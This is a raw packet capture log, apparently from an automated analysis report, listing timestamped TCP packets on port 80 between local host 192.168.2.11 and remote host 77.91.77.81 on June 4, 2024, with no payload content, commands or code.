Jun 4, 2024 23:09:16.584283113 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.584294081 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.584296942 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.584310055 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.584312916 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.584321022 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.584322929 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.584336996 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.584340096 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.584350109 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.584352970 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.584363937 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.584378004 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.584378004 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.584394932 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.584408045 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.584408998 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.584423065 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.584430933 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.584436893 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.584445953 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.584450960 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.584465027 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.584470034 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.584479094 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.584489107 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.584500074 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.584515095 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.584515095 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.584526062 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.584527969 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.584544897 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.584544897 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.584558964 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.584569931 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.584574938 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.584588051 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.584593058 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.584602118 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.584614038 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.584621906 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.584626913 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.584639072 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.584641933 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.584651947 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.584664106 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.584665060 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.584676981 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.584681034 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.584690094 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.584702969 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.584702969 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.584718943 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.584728956 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.584732056 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.584743023 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.584743977 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.584757090 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.584769011 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.584769964 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.584784031 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.584793091 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.584796906 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.584805965 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.584810019 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.584822893 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.584830999 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.584836006 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.584847927 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.584852934 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.584863901 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.584877014 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.584877968 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.584892035 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.584902048 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.584904909 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.584917068 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.584927082 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.584939957 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.584944010 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.584952116 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.584964991 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.584965944 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.584978104 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.584990025 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.584992886 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.585005999 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.585015059 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.585019112 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.585026979 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.585030079 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.585043907 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.585053921 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.585056067 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.585068941 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.585078955 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.585082054 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.585092068 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.585094929 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.585107088 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.585117102 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.585119963 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.585131884 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.585138083 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.585144997 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.585156918 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.585161924 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.585170984 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.585182905 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.585187912 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.585196018 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.585206985 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.585208893 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.585221052 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.585222960 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.585236073 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.585244894 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.585247993 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.585261106 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.585269928 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.585273981 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.585284948 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.585287094 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.585299969 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.585308075 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.585311890 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.585325003 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.585330963 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.585339069 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.585351944 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.585354090 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.585365057 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.585377932 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.585377932 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.585391045 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.585419893 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.587483883 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.709127903 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.709153891 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.709166050 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.709183931 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.709197044 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.709208012 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.709214926 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.709219933 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.709232092 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.709244013 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.709250927 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.709254980 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.709265947 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.709274054 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.709280014 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.709294081 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.709311962 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.709312916 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.709359884 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.709359884 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.709434986 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.709446907 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.709458113 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.709469080 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.709475040 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.709481955 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.709485054 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.709500074 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.709506035 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.709511995 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.709522963 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.709531069 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.709536076 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.709547997 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.709557056 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.709561110 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.709573030 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.709583998 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.709584951 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.709594011 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.709595919 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.709610939 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.709623098 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.709624052 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.709640026 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.709650040 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.709652901 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.709665060 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.709667921 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.709695101 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.709716082 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.709832907 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.709850073 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.709861994 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.709872961 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.709884882 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.709903002 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.709907055 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.709908009 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.709917068 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.709927082 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.709928036 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.709940910 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.709954023 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.709954023 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.709964991 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.709971905 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.709976912 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.709986925 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.709989071 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.710001945 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.710010052 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.710014105 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.710026979 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.710036039 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.710048914 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.710064888 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.710066080 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.710078955 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.710092068 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.710092068 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.710104942 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.710117102 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.710118055 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.710129023 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.710130930 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.710140944 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.710153103 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.710158110 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.710166931 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.710180044 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.710180998 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.710191011 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.710196972 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.710203886 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.710215092 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.710231066 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.710232019 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.710244894 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.710256100 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.710263014 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.710268974 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.710280895 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.710282087 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.710295916 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.710295916 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.710309982 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.710321903 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.710323095 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.710333109 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.710345030 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.710349083 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.710355997 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.710367918 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.710367918 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.710378885 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.710381985 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.710401058 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.710405111 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.710417986 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.710428953 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.710429907 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.710442066 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.710452080 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.710453033 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.710464954 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.710483074 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.710484982 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.710495949 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.710500002 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.710509062 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.710521936 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.710526943 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.710535049 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.710547924 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.710551977 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.710561037 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.710566044 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.710572004 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.710583925 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.710583925 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.710603952 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.710611105 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.710616112 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.710619926 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.710628033 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.710639954 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.710640907 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.710653067 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.710664988 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.710665941 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.710678101 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.710685015 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.710691929 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.710702896 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.710706949 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.710715055 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.710726023 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.710731983 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.710738897 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.710750103 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.710752964 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.710763931 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.710791111 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.711361885 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.711374044 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.711446047 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.711446047 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.711494923 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.711569071 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.711642027 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.711659908 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.711671114 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.711677074 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.711688995 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.711703062 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.711713076 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.711716890 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.711728096 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.711735964 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.711740971 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.711752892 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.711769104 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.711783886 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.711783886 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.711797953 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.711817026 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.711829901 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.711831093 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.711843014 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.711850882 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.711853981 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.711865902 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.711877108 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.711879015 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.711889029 CEST	80	49713	77.91.77.81	192.168.2.11
